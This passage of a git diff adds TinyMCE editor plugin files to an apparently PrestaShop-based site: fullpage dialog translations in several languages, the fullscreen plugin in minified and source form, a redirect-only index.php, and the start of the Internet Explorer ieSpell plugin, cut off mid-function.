\u0435\u043b\u0435\u043c\u0435\u043d\u0442",moveup:"\u041f\u0435\u0440\u0435\u043c\u0456\u0441\u0442\u0438\u0442\u0438 \u0435\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u0433\u043e\u0440\u0443",movedown:"\u041f\u0435\u0440\u0435\u043c\u0456\u0441\u0442\u0438\u0442\u0438 \u0435\u043b\u0435\u043c\u0435\u043d\u0442 \u0432\u043d\u0438\u0437","head_elements":"Head \u0435\u043b\u0435\u043c\u0435\u043d\u0442\u0438",info:"\u0406\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0456\u044f","add_title":"Title \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_meta":"Meta \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_script":"Script \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_style":"Style \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_link":"Link \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_base":"Base \u0435\u043b\u0435\u043c\u0435\u043d\u0442","add_comment":"\u0412\u0443\u0437\u043e\u043b \u043a\u043e\u043c\u0435\u043d\u0442\u0430\u0440\u044f","title_element":"Title \u0435\u043b\u0435\u043c\u0435\u043d\u0442","script_element":"Script \u0435\u043b\u0435\u043c\u0435\u043d\u0442","style_element":"Style \u0435\u043b\u0435\u043c\u0435\u043d\u0442","base_element":"Base \u0435\u043b\u0435\u043c\u0435\u043d\u0442","link_element":"Link \u0435\u043b\u0435\u043c\u0435\u043d\u0442","meta_element":"Meta \u0435\u043b\u0435\u043c\u0435\u043d\u0442","comment_element":"\u041a\u043e\u043c\u0435\u043d\u0442\u0430\u0440",src:"\u0414\u0436\u0435\u0440\u0435\u043b\u043e",language:"\u041c\u043e\u0432\u0430",href:"\u041f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f",target:"\u0426\u0456\u043b\u044c",type:"\u0422\u0438\u043f",charset:"\u041a\u043e\u0434\u0443\u0432\u0430\u043d\u043d\u044f",defer:"Defer",media:"\u041c\u0435\u0434\u0456\u0430",properties:"\u0412\u043b\u0430\u0441\u0442\u0438\u0432\u043e\u0441\u0442\u0456",name:"\u041d\u0430\u0437\u0432\u0430",value:"\u0417\u043d\u0430\u0447\u0435\u043d\u043d\u044f",content:"\u0417\u043c\u0456\u0441\u0442",rel:"\u0417\u0432\'\u044f\u0437\u043e\u043a",rev:"Rev",hreflang:"\u041c\u043e\u0432\u0430 \u043f\u043e\u0441\u0438\u043b\u0430\u043d\u043d\u044f","general_props":"\u0417\u0430\u0433\u0430\u043b\u044c\u043d\u0435","advanced_props":"\u0414\u043e\u0434\u0430\u0442\u043a\u043e\u0432\u043e"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/vi_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/vi_dlg.js new file mode 100755 index 0000000..3222b67 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/vi_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('vi.fullpage_dlg',{title:"Thu\u1ed9c t\u00ednh v\u0103n b\u1ea3n","meta_tab":"Chung","appearance_tab":"Xu\u1ea5t hi\u1ec7n","advanced_tab":"N\u00e2ng cao","meta_props":"Th\u00f4ng tin Meta",langprops:"Ng\u00f4n ng\u1eef v\u00e0 m\u00e3 h\u00f3a","meta_title":"Ti\u00eau \u0111\u1ec1","meta_keywords":"T\u1eeb kh\u00f3a","meta_description":"M\u00f4 t\u1ea3","meta_robots":"Robots",doctypes:"Ki\u1ec3u t\u00e0i li\u1ec7u",langcode:"M\u00e3 ng\u00f4n ng\u1eef",langdir:"H\u01b0\u1edbng ng\u00f4n ng\u1eef",ltr:"Tr\u00e1i qua ph\u1ea3i",rtl:"Ph\u1ea3i qua tr\u00e1i","xml_pi":"Khai b\u00e1o XML",encoding:"M\u00e3 h\u00f3a k\u00fd t\u1ef1","appearance_bgprops":"Thu\u1ed9c t\u00ednh n\u1ec1n","appearance_marginprops":"Bi\u00ean c\u1ee7a th\u00e2n t\u00e0i li\u1ec7u","appearance_linkprops":"M\u00e0u li\u00ean k\u1ebft","appearance_textprops":"Thu\u00f4c t\u00ednh v\u0103n b\u1ea3n",bgcolor:"M\u00e0u n\u1ec1n",bgimage:"\u1ea2nh n\u1ec1n","left_margin":"Bi\u00ean tr\u00e1i","right_margin":"Bi\u00ean ph\u1ea3i","top_margin":"Bi\u00ean tr\u00ean","bottom_margin":"Bi\u00ean d\u01b0\u1edbi","text_color":"M\u00e0u v\u0103n b\u1ea3n","font_size":"K\u00edch c\u1ee1 ph\u00f4ng","font_face":"Ph\u00f4ng ch\u1eef","link_color":"M\u00e0u li\u00ean k\u1ebft","hover_color":"M\u00e0u khi tr\u1ecf chu\u1ed9t","visited_color":"M\u00e0u \u0111\u00e3 gh\u00e9 th\u0103m","active_color":"M\u00e0u ho\u1ea1t \u0111\u1ed9ng",textcolor:"M\u00e0u",fontsize:"K\u00edch c\u1ee1 ph\u00f4ng",fontface:"T\u1eadp h\u1ee3p ph\u00f4ng","meta_index_follow":"Ch\u1ec9 s\u1ed1 v\u00e0 theo li\u00ean k\u1ebft","meta_index_nofollow":"Ch\u1ec9 s\u1ed1 v\u00e0 kh\u00f4ng theo li\u00ean k\u1ebft","meta_noindex_follow":"Kh\u00f4ng ch\u1ec9 s\u1ed1 nh\u01b0ng theo li\u00ean k\u1ebft","meta_noindex_nofollow":"Kh\u00f4ng ch\u1ec9 s\u1ed1 v\u00e0 kh\u00f4ng theo li\u00ean k\u1ebft","appearance_style":"Thu\u1ed9c t\u00ednh ki\u1ec3u d\u00e1ng v\u00e0 stylesheet",stylesheet:"Stylesheet",style:"Ki\u1ec3u d\u00e1ng",author:"T\u00e1c gi\u1ea3",copyright:"B\u1ea3n quy\u1ec1n",add:"Th\u00eam ph\u1ea7n t\u1eed m\u1edbi",remove:"Lo\u1ea1i b\u1ecf ph\u1ea7n t\u1eed \u0111\u00e3 ch\u1ecdn",moveup:"Di chuy\u1ec3n ph\u1ea7n t\u1eed \u0111\u00e3 ch\u1ecdn \u0111i l\u00ean",movedown:"Di chuy\u1ec3n ph\u1ea7n t\u1eed \u0111\u00e3 ch\u1ecdn \u0111i xu\u1ed1ng","head_elements":"Ph\u1ea7n t\u1eed \u0111\u1ea7u \u0111\u1ec1",info:"Th\u00f4ng tin","add_title":"Ph\u1ea7n t\u1eed ti\u00eau \u0111\u1ec1","add_meta":"Ph\u1ea7n t\u1eed meta","add_script":"Ph\u1ea7n t\u1eed script","add_style":"Ph\u1ea7n t\u1eed ki\u1ec3u d\u00e1ng","add_link":"Ph\u1ea7n t\u1eed li\u00ean k\u1ebft","add_base":"Ph\u1ea7n t\u1eed c\u01a1 s\u1edf","add_comment":"Comment node","title_element":"Ph\u1ea7n t\u1eed ti\u00eau \u0111\u1ec1","script_element":"Ph\u1ea7n t\u1eed script","style_element":"Ph\u1ea7n t\u1eed ki\u1ec3u d\u00e1ng","base_element":"Ph\u1ea7n t\u1eed c\u01a1 s\u1edf","link_element":"Ph\u1ea7n t\u1eed li\u00ean k\u1ebft","meta_element":"Ph\u1ea7n t\u1eed meta","comment_element":"Ch\u00fa th\u00edch",src:"Src",language:"Ng\u00f4n ng\u1eef",href:"Href",target:"\u0110\u00edch",type:"Ki\u1ec3u",charset:"T\u1eadp k\u00fd t\u1ef1",defer:"Tr\u00ec ho\u00e3n",media:"Ph\u01b0\u01a1ng ti\u1ec7n",properties:"Thu\u1ed9c t\u00ednh",name:"T\u00ean",value:"Gi\u00e1 tr\u1ecb",content:"N\u1ed9i dung",rel:"Rel",rev:"Rev",hreflang:"Href lang","general_props":"Chung","advanced_props":"N\u00e2ng cao"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/zh-cn_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/zh-cn_dlg.js new file mode 100755 index 0000000..de0a74a --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/zh-cn_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-cn.fullpage_dlg',{title:"\u6587\u4ef6\u5c5e\u6027","meta_tab":"\u666e\u901a","appearance_tab":"\u5916\u89c2","advanced_tab":"\u9ad8\u7ea7","meta_props":"Meta\u4fe1\u606f",langprops:"\u8bed\u8a00\u548c\u7f16\u7801","meta_title":"\u6807\u9898","meta_keywords":"Meta \u5173\u952e\u5b57","meta_description":"Meta \u63cf\u8ff0","meta_robots":"\u641c\u7d22\u673a\u5668\u4eba",doctypes:"\u6587\u6863\u7c7b\u578b",langcode:"\u8bed\u8a00\u7f16\u7801",langdir:"\u8bed\u8a00\u6587\u5b57\u65b9\u5411",ltr:"\u4ece\u5de6\u5230\u53f3",rtl:"\u4ece\u53f3\u5230\u5de6","xml_pi":"XML\u7533\u660e",encoding:"\u5b57\u7b26\u7f16\u7801","appearance_bgprops":"\u80cc\u666f\u5c5e\u6027","appearance_marginprops":"\u9875\u8fb9\u8ddd","appearance_linkprops":"\u8d85\u94fe\u63a5\u989c\u8272","appearance_textprops":"\u6587\u672c\u5c5e\u6027",bgcolor:"\u80cc\u666f\u989c\u8272",bgimage:"\u80cc\u666f\u56fe\u7247","left_margin":"\u5de6\u8fb9\u8ddd","right_margin":"\u53f3\u8fb9\u8ddd","top_margin":"\u4e0a\u8fb9\u8ddd","bottom_margin":"\u4e0b\u8fb9\u8ddd","text_color":"\u6587\u672c\u989c\u8272","font_size":"\u5b57\u4f53\u5927\u5c0f","font_face":"\u5b57\u4f53","link_color":"\u8d85\u94fe\u63a5\u989c\u8272","hover_color":"Hover\u989c\u8272","visited_color":"Visited\u989c\u8272","active_color":"Active\u989c\u8272",textcolor:"\u989c\u8272",fontsize:"\u5b57\u4f53\u5927\u5c0f",fontface:"\u5b57\u4f53","meta_index_follow":"\u7d22\u5f15\u5e76\u8fde\u7ed3","meta_index_nofollow":"\u7d22\u5f15\u4f46\u4e0d\u8fde\u7ed3","meta_noindex_follow":"\u4e0d\u7d22\u5f15\u4f46\u8fde\u7ed3","meta_noindex_nofollow":"\u4e0d\u7d22\u5f15\u4e5f\u4e0d\u8fde\u7ed3","appearance_style":"\u6837\u5f0f\u8868\u4e0e\u6837\u5f0f\u5c5e\u6027",stylesheet:"\u6837\u5f0f\u8868",style:"\u6837\u5f0f",author:"\u4f5c\u8005",copyright:"\u7248\u6743\u58f0\u660e",add:"\u6dfb\u52a0\u5143\u7d20",remove:"\u5220\u9664\u9009\u62e9\u5143\u7d20",moveup:"\u4e0a\u79fb\u9009\u62e9\u5143\u7d20",movedown:"\u4e0b\u79fb\u9009\u62e9\u5143\u7d20","head_elements":"Head\u5143\u7d20",info:"\u4fe1\u606f","add_title":"Title\u5143\u7d20","add_meta":"Meta\u5143\u7d20","add_script":"Script\u5143\u7d20","add_style":"Style\u5143\u7d20","add_link":"Link\u5143\u7d20","add_base":"Base\u5143\u7d20","add_comment":"\u6ce8\u91ca","title_element":"Title\u5143\u7d20","script_element":"Script\u5143\u7d20","style_element":"Style\u5143\u7d20","base_element":"Base\u5143\u7d20","link_element":"Link\u5143\u7d20","meta_element":"Meta\u5143\u7d20","comment_element":"\u6ce8\u91ca",src:"\u5730\u5740",language:"\u8bed\u8a00",href:"Href",target:"\u76ee\u6807",type:"\u7c7b\u578b",charset:"\u5b57\u7b26\u96c6",defer:"Defer",media:"\u5a92\u4f53",properties:"\u5c5e\u6027",name:"\u540d\u79f0",value:"\u503c",content:"\u5185\u5bb9",rel:"Rel",rev:"Rev",hreflang:"Href\u8bed\u8a00","general_props":"\u5e38\u89c4","advanced_props":"\u9ad8\u7ea7"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullpage/langs/zh-tw_dlg.js b/js/tiny_mce2/plugins/fullpage/langs/zh-tw_dlg.js new file mode 100755 index 0000000..5a9b054 --- /dev/null +++ b/js/tiny_mce2/plugins/fullpage/langs/zh-tw_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('zh-tw.fullpage_dlg',{title:"\u9801\u9762\u8a2d\u5b9a","meta_tab":"\u4e00\u822c","appearance_tab":"\u5916\u89c0","advanced_tab":"\u66f4\u591a\u8a2d\u5b9a","meta_props":"Meta \u8cc7\u8a0a",langprops:"\u8a9e\u8a00\u8207\u7de8\u78bc\u8a2d\u5b9a","meta_title":"\u6a19\u984c","meta_keywords":"\u95dc\u9375\u5b57","meta_description":"\u63cf\u8ff0","meta_robots":"\u641c\u5c0b\u5f15\u64ce\u7684\u6a5f\u5668\u4eba",doctypes:"\u6587\u4ef6\u985e\u578b (Doctype)",langcode:"\u8a9e\u8a00\u7de8\u78bc",langdir:"\u66f8\u5beb\u65b9\u5f0f",ltr:"\u5f9e\u5de6\u5230\u53f3",rtl:"\u5f9e\u53f3\u5230\u5de6","xml_pi":"XML \u5b9a\u7fa9 (XML declaration)",encoding:"\u5b57\u5143\u7de8\u78bc","appearance_bgprops":"\u80cc\u666f\u8a2d\u5b9a","appearance_marginprops":"\u7db2\u9801\u7684\u908a\u8ddd","appearance_linkprops":"\u9023\u7d50\u7684\u984f\u8272","appearance_textprops":"\u6587\u5b57\u8a2d\u5b9a",bgcolor:"\u80cc\u666f\u984f\u8272",bgimage:"\u80cc\u666f\u5716","left_margin":"\u5de6\u908a\u8ddd","right_margin":"\u53f3\u908a\u8ddd","top_margin":"\u4e0a\u65b9\u908a\u8ddd","bottom_margin":"\u4e0b\u65b9\u908a\u8ddd","text_color":"\u6587\u5b57\u984f\u8272","font_size":"\u5b57\u9ad4\u5927\u5c0f","font_face":"\u5b57\u9ad4\u6a23\u5f0f","link_color":"\u9810\u8a2d\u7684\u984f\u8272\u6a23\u5f0f","hover_color":"\u6ed1\u9f20\u79fb\u904e\u53bb\u7684\u984f\u8272\u6a23\u5f0f","visited_color":"\u9ede\u904e\u5f8c\u7684\u984f\u8272\u6a23\u5f0f","active_color":"\u6309\u4e0b\u53bb\u5f8c\u7684\u984f\u8272",textcolor:"\u984f\u8272",fontsize:"\u6309\u4e0b\u53bb\u5f8c\u7684\u984f\u8272\u6a23\u5f0f",fontface:"\u5b57\u9ad4\u6a23\u5f0f","meta_index_follow":"\u516c\u958b\u7d66\u641c\u5c0b\u5f15\u64ce\u77e5\u9053","meta_index_nofollow":"\u544a\u8a34\u641c\u5c0b\u5f15\u64ce\u53ef\u4ee5\u5206\u4eab\u9023\u7d50\u7d66\u5927\u5bb6\uff0c\u4f46\u4e0d\u8981\u8b93\u641c\u5c0b\u5f15\u64ce\u5f9e\u9019\u88e1\u627e\u8cc7\u6599","meta_noindex_follow":"\u544a\u8a34\u641c\u5c0b\u5f15\u64ce\u4e0d\u8981\u8b93\u5927\u5bb6\u77e5\u9053\u6709\u9019\u500b\u9023\u7d50\uff0c\u53ea\u8b93\u641c\u5c0b\u5f15\u64ce\u77e5\u9053\u3001\u627e\u8cc7\u6599","meta_noindex_nofollow":"\u544a\u8a34\u641c\u5c0b\u5f15\u64ce\u8df3\u904e\u9019\u500b\u9023\u7d50","appearance_style":"\u6a23\u5f0f\u8868\u8207\u6a23\u5f0f\u7684\u5c6c\u6027\u8a2d\u5b9a",stylesheet:"\u6a23\u5f0f\u8868",style:"\u6a23\u5f0f",author:"\u9328\u9ede (\u66f8\u7c64)",copyright:"\u8457\u4f5c/\u6388\u6b0a",add:"\u65b0\u589e HTML \u6a19\u7c64",remove:"\u522a\u9664\u6240\u9078\u7684\u6a19\u7c64",moveup:"\u79fb\u52d5\u9078\u64c7\u7684\u6a19\u7c64 (\u5f80\u4e0a)",movedown:"\u79fb\u52d5\u9078\u64c7\u7684\u6a19\u7c64 (\u5f80\u4e0b)","head_elements":"HTML \u7684 Head \u6a19\u7c64",info:"\u8cc7\u8a0a","add_title":"HTML \u7684 Title \u6a19\u7c64","add_meta":"HTML \u7684 Meta \u6a19\u7c64","add_script":"HTML \u7684 Script \u6a19\u7c64","add_style":"HTML \u7684 Style \u6a19\u7c64","add_link":"HTML \u7684 Link \u6a19\u7c64","add_base":"HTML \u7684 Base \u6a19\u7c64","add_comment":"\u8a3b\u6587","title_element":"HTML \u7684 Title \u6a19\u7c64","script_element":"HTML \u7684 Script \u6a19\u7c64","style_element":"HTML \u7684 Style \u6a19\u7c64","base_element":"HTML \u7684 Base \u6a19\u7c64","link_element":"HTML \u7684 Link \u6a19\u7c64","meta_element":"HTML \u7684 Meta \u6a19\u7c64","comment_element":"\u8a3b\u89e3",src:"\u4f86\u6e90",language:"\u8a9e\u8a00",href:"\u9023\u7d50\u4f4d\u7f6e",target:"\u958b\u555f\u65b9\u5f0f",type:"\u5f62\u5f0f",charset:"\u5b57\u5143",defer:"\u5ef6\u7de9",media:"\u5f71\u97f3/\u5a92\u9ad4",properties:"\u5c6c\u6027",name:"\u540d\u7a31",value:"\u503c",content:"\u5167\u5bb9",rel:"\u8a72\u9023\u7d50\u662f\u4ec0\u9ebc (Rel)",rev:"\u8a72\u9023\u7d50\u8207\u7db2\u7ad9\u7684\u95dc\u4fc2 (Rev)",hreflang:"\u8a72\u9023\u7d50\u7684\u8a9e\u7cfb","general_props":"\u4e00\u822c","advanced_props":"\u66f4\u591a"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullscreen/editor_plugin.js b/js/tiny_mce2/plugins/fullscreen/editor_plugin.js new file mode 100755 index 0000000..a6456f8 --- /dev/null +++ b/js/tiny_mce2/plugins/fullscreen/editor_plugin.js @@ -0,0 +1 @@ +(function(){var a=tinymce.DOM;tinymce.create("tinymce.plugins.FullScreenPlugin",{init:function(d,e){var f=this,g={},c,b;f.editor=d;d.addCommand("mceFullScreen",function(){var i,j=a.doc.documentElement;if(d.getParam("fullscreen_is_enabled")){if(d.getParam("fullscreen_new_window")){closeFullscreen()}else{a.win.setTimeout(function(){tinymce.dom.Event.remove(a.win,"resize",f.resizeFunc);tinyMCE.get(d.getParam("fullscreen_editor_id")).setContent(d.getContent());tinyMCE.remove(d);a.remove("mce_fullscreen_container");j.style.overflow=d.getParam("fullscreen_html_overflow");a.setStyle(a.doc.body,"overflow",d.getParam("fullscreen_overflow"));a.win.scrollTo(d.getParam("fullscreen_scrollx"),d.getParam("fullscreen_scrolly"));tinyMCE.settings=tinyMCE.oldSettings},10)}return}if(d.getParam("fullscreen_new_window")){i=a.win.open(e+"/fullscreen.htm","mceFullScreenPopup","fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=yes,left=0,top=0,width="+screen.availWidth+",height="+screen.availHeight);try{i.resizeTo(screen.availWidth,screen.availHeight)}catch(h){}}else{tinyMCE.oldSettings=tinyMCE.settings;g.fullscreen_overflow=a.getStyle(a.doc.body,"overflow",1)||"auto";g.fullscreen_html_overflow=a.getStyle(j,"overflow",1);c=a.getViewPort();g.fullscreen_scrollx=c.x;g.fullscreen_scrolly=c.y;if(tinymce.isOpera&&g.fullscreen_overflow=="visible"){g.fullscreen_overflow="auto"}if(tinymce.isIE&&g.fullscreen_overflow=="scroll"){g.fullscreen_overflow="auto"}if(tinymce.isIE&&(g.fullscreen_html_overflow=="visible"||g.fullscreen_html_overflow=="scroll")){g.fullscreen_html_overflow="auto"}if(g.fullscreen_overflow=="0px"){g.fullscreen_overflow=""}a.setStyle(a.doc.body,"overflow","hidden");j.style.overflow="hidden";c=a.getViewPort();a.win.scrollTo(0,0);if(tinymce.isIE){c.h-=1}if(tinymce.isIE6){b="absolute;top:"+c.y}else{b="fixed;top:0"}n=a.add(a.doc.body,"div",{id:"mce_fullscreen_container",style:"position:"+b+";left:0;width:"+c.w+"px;height:"+c.h+"px;z-index:200000;"});a.add(n,"div",{id:"mce_fullscreen"});tinymce.each(d.settings,function(k,l){g[l]=k});g.id="mce_fullscreen";g.width=n.clientWidth;g.height=n.clientHeight-15;g.fullscreen_is_enabled=true;g.fullscreen_editor_id=d.id;g.theme_advanced_resizing=false;g.save_onsavecallback=function(){d.setContent(tinyMCE.get(g.id).getContent());d.execCommand("mceSave")};tinymce.each(d.getParam("fullscreen_settings"),function(m,l){g[l]=m});if(g.theme_advanced_toolbar_location==="external"){g.theme_advanced_toolbar_location="top"}f.fullscreenEditor=new tinymce.Editor("mce_fullscreen",g);f.fullscreenEditor.onInit.add(function(){f.fullscreenEditor.setContent(d.getContent());f.fullscreenEditor.focus()});f.fullscreenEditor.render();f.fullscreenElement=new tinymce.dom.Element("mce_fullscreen_container");f.fullscreenElement.update();f.resizeFunc=tinymce.dom.Event.add(a.win,"resize",function(){var o=tinymce.DOM.getViewPort(),l=f.fullscreenEditor,k,m;k=l.dom.getSize(l.getContainer().firstChild);m=l.dom.getSize(l.getContainer().getElementsByTagName("iframe")[0]);l.theme.resizeTo(o.w-k.w+m.w,o.h-k.h+m.h)})}});d.addButton("fullscreen",{title:"fullscreen.desc",cmd:"mceFullScreen"});d.onNodeChange.add(function(i,h){h.setActive("fullscreen",i.getParam("fullscreen_is_enabled"))})},getInfo:function(){return{longname:"Fullscreen",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullscreen",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("fullscreen",tinymce.plugins.FullScreenPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullscreen/editor_plugin_src.js b/js/tiny_mce2/plugins/fullscreen/editor_plugin_src.js new file mode 100755 index 0000000..42af070 --- /dev/null +++ b/js/tiny_mce2/plugins/fullscreen/editor_plugin_src.js @@ -0,0 +1,159 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var DOM = tinymce.DOM; + + tinymce.create('tinymce.plugins.FullScreenPlugin', { + init : function(ed, url) { + var t = this, s = {}, vp, posCss; + + t.editor = ed; + + // Register commands + ed.addCommand('mceFullScreen', function() { + var win, de = DOM.doc.documentElement; + + if (ed.getParam('fullscreen_is_enabled')) { + if (ed.getParam('fullscreen_new_window')) + closeFullscreen(); // Call to close in new window + else { + DOM.win.setTimeout(function() { + tinymce.dom.Event.remove(DOM.win, 'resize', t.resizeFunc); + tinyMCE.get(ed.getParam('fullscreen_editor_id')).setContent(ed.getContent()); + tinyMCE.remove(ed); + DOM.remove('mce_fullscreen_container'); + de.style.overflow = ed.getParam('fullscreen_html_overflow'); + DOM.setStyle(DOM.doc.body, 'overflow', ed.getParam('fullscreen_overflow')); + DOM.win.scrollTo(ed.getParam('fullscreen_scrollx'), ed.getParam('fullscreen_scrolly')); + tinyMCE.settings = tinyMCE.oldSettings; // Restore old settings + }, 10); + } + + return; + } + + if (ed.getParam('fullscreen_new_window')) { + win = DOM.win.open(url + "/fullscreen.htm", "mceFullScreenPopup", "fullscreen=yes,menubar=no,toolbar=no,scrollbars=no,resizable=yes,left=0,top=0,width=" + screen.availWidth + ",height=" + screen.availHeight); + try { + win.resizeTo(screen.availWidth, screen.availHeight); + } catch (e) { + // Ignore + } + } else { + tinyMCE.oldSettings = tinyMCE.settings; // Store old settings + s.fullscreen_overflow = DOM.getStyle(DOM.doc.body, 'overflow', 1) || 'auto'; + s.fullscreen_html_overflow = DOM.getStyle(de, 'overflow', 1); + vp = DOM.getViewPort(); + s.fullscreen_scrollx = vp.x; + s.fullscreen_scrolly = vp.y; + + // Fixes an Opera bug where the scrollbars doesn't reappear + if (tinymce.isOpera && s.fullscreen_overflow == 'visible') + s.fullscreen_overflow = 'auto'; + + // Fixes an IE bug where horizontal scrollbars would appear + if (tinymce.isIE && s.fullscreen_overflow == 'scroll') + s.fullscreen_overflow = 'auto'; + + // Fixes an IE bug where the scrollbars doesn't reappear + if (tinymce.isIE && (s.fullscreen_html_overflow == 'visible' || s.fullscreen_html_overflow == 'scroll')) + s.fullscreen_html_overflow = 'auto'; + + if (s.fullscreen_overflow == '0px') + s.fullscreen_overflow = ''; + + DOM.setStyle(DOM.doc.body, 'overflow', 'hidden'); + de.style.overflow = 'hidden'; //Fix for IE6/7 + vp = DOM.getViewPort(); + DOM.win.scrollTo(0, 0); + + if (tinymce.isIE) + vp.h -= 1; + + // Use fixed position if it exists + if (tinymce.isIE6) + posCss = 'absolute;top:' + vp.y; + else + posCss = 'fixed;top:0'; + + n = DOM.add(DOM.doc.body, 'div', { + id : 'mce_fullscreen_container', + style : 'position:' + posCss + ';left:0;width:' + vp.w + 'px;height:' + vp.h + 'px;z-index:200000;'}); + DOM.add(n, 'div', {id : 'mce_fullscreen'}); + + tinymce.each(ed.settings, function(v, n) { + s[n] = v; + }); + + s.id = 'mce_fullscreen'; + s.width = n.clientWidth; + s.height = n.clientHeight - 15; + s.fullscreen_is_enabled = true; + s.fullscreen_editor_id = ed.id; + s.theme_advanced_resizing = false; + s.save_onsavecallback = function() { + ed.setContent(tinyMCE.get(s.id).getContent()); + ed.execCommand('mceSave'); + }; + + tinymce.each(ed.getParam('fullscreen_settings'), function(v, k) { + s[k] = v; + }); + + if (s.theme_advanced_toolbar_location === 'external') + s.theme_advanced_toolbar_location = 'top'; + + t.fullscreenEditor = new tinymce.Editor('mce_fullscreen', s); + t.fullscreenEditor.onInit.add(function() { + t.fullscreenEditor.setContent(ed.getContent()); + t.fullscreenEditor.focus(); + }); + + t.fullscreenEditor.render(); + + t.fullscreenElement = new tinymce.dom.Element('mce_fullscreen_container'); + t.fullscreenElement.update(); + //document.body.overflow = 'hidden'; + + t.resizeFunc = tinymce.dom.Event.add(DOM.win, 'resize', function() { + var vp = tinymce.DOM.getViewPort(), fed = t.fullscreenEditor, outerSize, innerSize; + + // Get outer/inner size to get a delta size that can be used to calc the new iframe size + outerSize = fed.dom.getSize(fed.getContainer().firstChild); + innerSize = fed.dom.getSize(fed.getContainer().getElementsByTagName('iframe')[0]); + + fed.theme.resizeTo(vp.w - outerSize.w + innerSize.w, vp.h - outerSize.h + innerSize.h); + }); + } + }); + + // Register buttons + ed.addButton('fullscreen', {title : 'fullscreen.desc', cmd : 'mceFullScreen'}); + + ed.onNodeChange.add(function(ed, cm) { + cm.setActive('fullscreen', ed.getParam('fullscreen_is_enabled')); + }); + }, + + getInfo : function() { + return { + longname : 'Fullscreen', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/fullscreen', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('fullscreen', tinymce.plugins.FullScreenPlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/fullscreen/fullscreen.htm b/js/tiny_mce2/plugins/fullscreen/fullscreen.htm new file mode 100755 index 0000000..496a2f6 --- /dev/null +++ b/js/tiny_mce2/plugins/fullscreen/fullscreen.htm @@ -0,0 +1,110 @@ + + + + + + + + + +
    + +
    + + + + + diff --git a/js/tiny_mce2/plugins/fullscreen/index.php b/js/tiny_mce2/plugins/fullscreen/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce2/plugins/fullscreen/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce2/plugins/iespell/editor_plugin.js b/js/tiny_mce2/plugins/iespell/editor_plugin.js new file mode 100755 index 0000000..e9cba10 --- /dev/null +++ b/js/tiny_mce2/plugins/iespell/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.IESpell",{init:function(a,b){var c=this,d;if(!tinymce.isIE){return}c.editor=a;a.addCommand("mceIESpell",function(){try{d=new ActiveXObject("ieSpell.ieSpellExtension");d.CheckDocumentNode(a.getDoc().documentElement)}catch(f){if(f.number==-2146827859){a.windowManager.confirm(a.getLang("iespell.download"),function(e){if(e){window.open("http://www.iespell.com/download.php","ieSpellDownload","")}})}else{a.windowManager.alert("Error Loading ieSpell: Exception "+f.number)}}});a.addButton("iespell",{title:"iespell.iespell_desc",cmd:"mceIESpell"})},getInfo:function(){return{longname:"IESpell (IE Only)",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/iespell",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("iespell",tinymce.plugins.IESpell)})(); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/iespell/editor_plugin_src.js b/js/tiny_mce2/plugins/iespell/editor_plugin_src.js new file mode 100755 index 0000000..61edf1e --- /dev/null +++ b/js/tiny_mce2/plugins/iespell/editor_plugin_src.js @@ -0,0 +1,54 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.IESpell', { + init : function(ed, url) { + var t = this, sp; + + if (!tinymce.isIE) + return; + + t.editor = ed; + + // Register commands + ed.addCommand('mceIESpell', function() { + try { + sp = new ActiveXObject("ieSpell.ieSpellExtension"); + sp.CheckDocumentNode(ed.getDoc().documentElement); + } catch (e) { + if (e.number == -2146827859) { + ed.windowManager.confirm(ed.getLang("iespell.download"), function(s) { + 